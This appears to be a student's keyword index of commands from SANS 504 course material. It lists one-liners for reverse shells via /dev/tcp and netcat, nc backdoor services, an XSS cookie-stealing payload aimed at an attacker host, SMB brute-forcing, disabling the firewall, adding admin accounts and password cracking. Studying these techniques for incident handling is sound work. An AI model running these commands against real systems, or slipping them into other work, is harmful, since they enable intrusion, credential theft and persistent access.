

Index - Cmds By Keyword (SANS 504-B)

/bin/bash -i > /dev/tcp/{ip}/{port} 0<&1 \\ Send output to tgt ip...(5 / 158)

1..255 | % {ping -n 10.10.10.\$_ | Select-string ttl} \\PS Ping Sweeper...(4 / 95)

cat /etc/passwd // Pulls user accts from local nix box...(2 / 157)

cat script.db | grep safe | wc -l // counts # scripts in safe category...(2 / 121)

dir /b /s {start_path}\{file} // search for a file within a given path...(4 / 20)

dir /s "c:\program files" > inventory.txt // Capture 32bit software inventory on host...(3 / 14)

echo user / pswd into /etc/shadow and pswd cmd (see slide)...(3 / 177)

enum -D -u {usr} -f {pswd_file.ext} {tgt_ip} \\ SMB Bruteforce Pswd Guesser...(4 / 133)

enum -G {tgt_ip} // Enum capture via SMB Grp Mbrshp via unauth session...(2 / 159)

enum -U {tgt_ip} // Enum capture via SMB Usr accts via unauth session...(2 / 159)

enum -U {tgt_ip} -u {usr} -p {pwwd} // Enum via SMB Usr accts via auth session...(2 / 159)

enum -u {usr} -p {pswd} -U {dc_IP} // Auth Sessions SMB Enum users from DC...(2 / 166)

execute -f cmd.exe -c \\In msfconsole exe's cmd.exe as channelized...(3 / 92)

finger // Pulls local user accts from nix box...(2 / 157)

for /L %i in (1,1,255) do @ping -n 1 10.10.10.%i | find "TTL" \\ Ping sweep on tgt via CLI...(4 / 35)

gedit /opt/nmap-6.4.7/share/nmap/scripts.script.db // view all scripts in nmap engine...(2 / 121)

grep tally /etc/pam.d (determine if acct lockout threshold set)...(4 / 128)

ipconfig /displaydns (Win) \\ displays hosts known to tgt system...(4 / 14)

IPv6 '::' = all zeros till next reperesented digit...(2 / 58)

IPv6 Loopback //(0000:0000:0000:0000:0000:0000:0001) or (::1)...(2 / 58)

john --restore \\ restarts john with the latest recovery (john.rec) file...(5 / 7)

john --show {tgt_pswd_file} \\ Displays Pswds alrely cracked in john.pot...(5 / 6)

john --test \\ Shows JtR speed comparisons (real .vs virtual)...(5 / 9)

ls -r c:\users | % {Select-String -path \$_ -pattern password} 2>\$null \\ Recursive search for passwrd in file contents (PS)...(4 / 93)

make clean linux-x86-sse2 \\ compiling john for sse2 extensions...(5 / 9)

make clean linux-x86-sse2 \\ Complies JtR with SSE2 CPU extensions...(5 / 16)

mknod backpipe p \\ creates a FIFO Named Pipe listener in NC...(3 / 182)

more {file.ext} \\ Pages through a file in std out...(4 / 18)

msf - vulns -p {port#} searches for vulns in msf DB listening on that port...(3 / 145)

msf - database db-status // status of db connection...(3 / 127)

msf - db_nmap {options} \\ launches nmap from msfconsole; importes results in to msf database...(3 / 132)

msf - db_nmap // runs an nmap scan and stored results in msf_db...(3 / 129)

msf - hosts --add {host} \\ manually add host to msf database...(3 / 131)

msf - hosts --delete \\Removes all hosts from msf-DB...(3 / 146)

msf - hosts -R // automatically add search results to the HOSTS varable in msfconsole...(3 / 144)

msf - hosts -S linux \\ msf db search string to find linux hosts...(3 / 144)

Index - Cmds By Keyword (SANS 504-B)

msf // use exploit{x}; set payload {x}; set {options}; exploit...(99 / 99)

msf database // db_connect {connects to a db}...(3 / 127)

msfvenom -f exe // creates a windows executable...(3 / 43)

nc -l {tgt ip} -p{port}...(2 / 171)

nc -l -p {port#} 0<backpipe | nc 127.0.0.1 22 1>backpipe \\NC Relay fw byp...(3 / 182)

nc -l -p {port#} -e /bin/sh \\ set up NC listner on that Linux host...(3 / 156)

nc -v -l -p {port} // Client User Agent / Banner grab...(2 / 175)

net localgroup \\ List local groups on win host...(4 / 21)

net localgroup {group} {username} /del \\ Deleted local win user from a group...(4 / 22)

net localgroup administrators {username} /add \\ Win - add local usr to local Admins Group...(4 / 21)

net use \\{tgt ip} "" /u:"" // Windows SMB Null Session...(2 / 158)

net use \\{tgt_ip} /del \\ terminates an SMB session on remote tgt...(4 / 27)

net user \\ list local users on win host...(4 / 21)

net user {userName} {password} /add \\ Add a local User to a Win host...(4 / 21)

net user {usrname} /del \\ Deletes a local win user account...(4 / 22)

netsh /? \\ displays networking settings for various options...(4 / 23)

netsh advfirewall set allprofiles state off // disables win firewall all profiles...(3 / 77)

netsh advfirewall show allprofiles \\ displays FW settings on local win host...(4 / 23)

netstat -natu \\ (Nix) Display host DNS info tgt knows...(4 / 14)

nmap -n --script={script_name.nse} {tgt_ip} -p {tgt_port(s)}...(2 / 122)

nmap -n --script=nbstat.nse {tgt_ip} // Returns Netbios name, MAC, open ports...(2 / 123)

nmap -Pn -sV -6 fe80::20c0%eth0 // ipv6 connect scan, no pre-scan, ver info, IF eth0...(2 / 59)

nmap --targets-ipv6-multicast-echo // ping sweeps all IPv6 hosts on subnet...(2 / 59)

ping {attacker_ip} \\Web Cmd Injection Verification Check...(5 / 150)

ping6 -I eth0 ff02::1 // IPv6 Multicast ping sweep local subnet hosts...(2 / 59)

ping6 -I eth0 ff02::2 // IPv6 Multicast ping sweep local subnet routers...(2 / 59)

portfwd add -l 1111 -p 2222 -r {tgt ip or host name} // Meterpreter port fwd pivot...(3 / 66)

Powershell - Misc exec switches to evade detection...(3 / 118)

Powershell: Pipeline ForEachObject % {stop-process \$_} Kills all NC processes...(4 / 88)

PS - Pingsweep: 1..10 | % {\$_; Ping -n 1 -w 100 10.10.10.\$_ | select-string ttl...(4 / 107)

PS (Create a Svc): New-Service Oname ncsvc -BinaryPathName "Cmd.exe /k c:\tools\nc.exe -l -p 3333 -e cmd.exe" -Startuptype manual...(4 / 105)

PS download file: (new-object System.net.webclient).downloadfile("http://1.1.1.1/nc.exe"); gc c:\nc.exe...(4 / 108)

PS Port Scan: 80..8080 | % {\$_; echo ((new-object Net.Sockets.TcpClient).connect(10.10.10.20", \$_)) "Port S_ is open" } 2>\$null...(4 / 107)

psexec \\{tgt_ip} -u {usr} -p {pwsd} {cmd} \\ General usage of PSEXEC...(4 / 53)

PTH Hash Format: LM:NT (if null LM use AAD3D43)...(5 / 70)

Index - Cmds By Keyword (SANS 504-B)

python -m SimpleHTTPServer 8000 {sets a simple webserv running at loc host directory from where launched...(3 / 122)

reg add {keyname} /v {value} /t {type} /d {data} \\ Add reg key to win local tgt...(4 / 25)

sc config tlntsvr start= demand \\ allows a disabled service to be started using a sc start option later...(3 / 167)

sc query \\ enum all services on Win tgt host...(4 / 28)

sc query tlntsvr \\ determines if Telnet service is running...(3 / 167)

sc start {svc_name} \\ start a windows service on host...(3 / 167)

services.msc \\ Win GUI for running services app...(4 / 30)

set username \\ displays in Win the logged on user...(4 / 19)

Set-up Svc on tgt host using cmd shell via NC \\ see details on page...(4 / 68)

shred --remove {file.ext} \\ Permanently deleted a file in NIX...(5 / 22)

tcpdump -nn host {ip} and host {ip} // Filters capture to send/rcv host and dest...(2 / 103)

tcpdump -nn tcp and port 80 and host 1.1.1.1 // All tcp port 80 to host 1.1.1.1...(2 / 19)

tcpdump -nn udp and src 1.1.1.1 // all UDP to host 1.1.1.1...(2 / 19)

tcpdump -nnX tcp and dst 1.1.1.1 // all TCP to host 1.1.1.1...(2 / 19)

type {file.ext} \\ Displays the file to std Out...(4 / 18)

type {file.ext} | find /c /v "" \\ counts the lines not null in a file...(5 / 32)

type {file.ext} | find /l "{string}" \\ search for string within file...(4 / 18)

type {file.ext} | findstr {regex} \\ Find Regex strings in a file...(4 / 18)

uname -a \\ displays host name info from *nix host...(3 / 156)

user2sid \\{tgt ip} {machine_name}...(2 / 162)

useradd \\ Created a user acct on NIX...(5 / 19)

userdel \\ Deleted a user acct on NIX...(5 / 22)

Veil Evasion: generate {Creates payload in veil; builds .rc file}...(3 / 115)

w // displays what local logged in users are doing on nix box...(2 / 157)

web Bind Cmd Shell Form: test; ping -c 4 {atkr_ip}; echo hello...(5 / 156)

whoami \\ displays permissions of logged on user on *.nix host...(3 / 156)

wmic process call create "c:\tools\nc.exe -d -l -p 4444 -e cmd.exe" \\remote nc shell w/o window open on remote host...(4 / 73)

XSS - <script>document.location="http://{attacker_ip}/{payload.ext}+document.cookie;</script>...(5 / 129)